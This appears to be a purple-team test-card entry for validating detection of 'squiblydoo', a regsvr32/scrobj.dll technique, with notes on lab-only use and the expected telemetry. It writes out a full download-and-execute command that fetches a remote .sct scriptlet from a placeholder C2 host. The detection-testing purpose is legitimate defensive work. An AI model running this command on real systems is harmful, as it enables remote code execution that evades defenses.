regsvr32 squiblydoo

regsvr32 /s /n /u /i:http://<c2>/x.sct scrobj.dll

Executes squiblydoo (regsvr32 with scrobj.dll) on the test host, validating detection of legitimate binary abuse to download and execute.

Run it in the purple team lab when you want to validate squiblydoo detection: the command uses regsvr32 with scrobj.dll and the remote script (the LOLBAS download-and-execute in one) and the team checks what was detected — Sysmon Event 1 (regsvr32 with /i:http), SIEM rules, EDR. It's validation of the classic evasion technique: the legitimate binary that downloads and executes without touching disk. In purple teaming, squiblydoo validates the behavioral layer of abused regsvr32.

Do not run it outside the lab: the download and execution generate real activity — the test host is the place. And note: squiblydoo is a known and detected technique (regsvr32 with scrobj rules are standard) — validation confirms the rule is deployed and working; expected result is 'detected'. The local variant (the .sct on disk) is validated separately. The lab server with the .sct is part of the test. Cleanup after finishing.